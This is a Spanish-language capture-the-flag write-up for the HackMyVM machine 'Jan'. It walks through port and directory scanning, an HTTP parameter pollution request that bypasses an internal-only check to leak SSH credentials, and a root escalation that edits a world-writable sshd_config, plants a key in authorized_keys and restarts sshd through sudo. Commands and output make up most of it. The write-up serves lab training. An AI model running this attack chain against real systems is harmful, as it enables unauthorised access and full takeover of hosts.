HackMyVM - Jan

logo

  • HTTP Parameter Pollution (HPP)
  • Abuse Service Sudo - (Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.27

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,8080 172.0.100.27

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey: 
|   256 2c:0b:57:a2:b3:e2:0f:6a:c0:61:f2:b7:1f:56:b4:42 (ECDSA)
|_  256 45:97:b0:2b:48:9b:4a:36:8e:db:44:bd:3f:15:cf:32 (ED25519)
8080/tcp open  http-proxy
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Date: Sun, 09 Feb 2025 18:52:31 GMT
|     Content-Length: 45
|     Content-Type: text/plain; charset=utf-8
|     Welcome to our Public Server. Maybe Internal.
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close

HTTP TCP - 8080

http

Realizo fuerza bruta de directorios con wfuzz y encuentro el directorio redirect.

❯ wfuzz -t 200 -c --hw=7 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://172.0.100.27:8080/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.0.100.27:8080/FUZZ
Total requests: 4734

=====================================================================
ID           Response   Lines    Word       Chars       Payload                              
=====================================================================

000003473:   400        1 L      3 W        24 Ch       "redirect"                           
000003585:   200        1 L      2 W        16 Ch       "robots.txt" 

Accedo al directorio redirect desde el navegador y obtengo el siguiente mensaje:

redirect

Al revisar el archivo robots.txt, encuentro los siguientes directorios:

robots

Ingreso al directorio credz y recibo el siguiente mensaje:

credz

Con curl, envío una petición GET al directorio credz para comprobar el comportamiento del parámetro url.

❯ curl -s "http://172.0.100.27:8080/redirect?url=/credz"
Only accessible internally.

El parámetro url es procesado por el servidor y está restringiendo el acceso desde fuentes externas.

Al enviar dos parámetros url, el servidor no los valida correctamente, lo que me permite visualizar el contenido de credz.

❯ curl -s "http://172.0.100.27:8080/redirect?url&url=/credz"
ssh/EazyLOL

Con NetExec, verifico las credenciales.

❯ nxc ssh 172.0.100.27 -u "ssh" -p "EazyLOL"
SSH         172.0.100.27    22     172.0.100.27     [*] SSH-2.0-OpenSSH_9.9
SSH         172.0.100.27    22     172.0.100.27     [+] ssh:EazyLOL (Pwn3d!) Linux - Shell access!

Me conecto al sistema a través de SSH usando las credenciales obtenidas.

❯ ssh ssh@172.0.100.27
ssh@172.0.100.27's password: 
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

jan:~$ id
uid=1000(ssh) gid=1000(ssh) groups=1000(ssh)

Al enumerar los permisos de sudo, veo que el usuario ssh tiene permiso para ejecutar /sbin/service sshd restart con privilegios de root sin necesidad de ingresar una contraseña.

jan:~$ sudo -l
Matching Defaults entries for ssh on jan:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for ssh:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User ssh may run the following commands on jan:
    (root) NOPASSWD: /sbin/service sshd restart

La configuración del servicio SSH (sshd) se realiza en el archivo sshd_config, que generalmente se encuentra en:

/etc/ssh/sshd_config

Con ls -la verifico los permisos de sshd_config y veo que el propietario, el grupo y otros tienen permisos de escritura.

jan:~$ ls -la /etc/ssh/sshd_config
-rw-rw-rw-    1 root     root          3355 Jan 28 09:01 /etc/ssh/sshd_config
  • Los permisos -rw-rw-rw- para el archivo /etc/ssh/sshd_config no deberían estar configurados de esta manera por razones de seguridad.

Con nano abro el archivo sshd_config y localizo las siguientes líneas de configuración:

sshd

Y lo modifico de la siguiente manera: sshd2

Creo un par de llaves RSA.

jan:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ssh/.ssh/id_rsa): 
Enter passphrase for "/home/ssh/.ssh/id_rsa" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/ssh/.ssh/id_rsa
Your public key has been saved in /home/ssh/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:7+8RYMP+EpC04rW22jW9FVWi9//10a9s3pMXeRCdGLQ ssh@jan
The key's randomart image is:
+---[RSA 3072]----+
|        .   .o+.o|
|       . +   oooo|
|      . = = .E...|
|     . o = o ..o |
|      . S o . ..o|
|       . o + . ++|
|        . = + ..B|
|       o o o =.+B|
|      . . .o+o+.B|
+----[SHA256]-----+

Me muevo al directorio .ssh y veo los archivos generados.

jan:~/.ssh$ ls
id_rsa      id_rsa.pub

Con mv renombro el archivo id_rsa.pub a authorized_keys.

jan:~/.ssh$ mv id_rsa.pub authorized_keys

Ahora reinicio el servicio sshd para aplicar los cambios que realicé anteriormente al archivo sshd_config.

restartssh

Una vez reiniciado el servicio, copio el contenido de id_rsa a mi equipo, le asigno permisos chmod 600 y me conecto como usuario root usando la llave RSA.

❯ ssh -i id_rsa root@172.0.100.27
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

jan:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Y aquí termina la máquina Jan.

Saludos!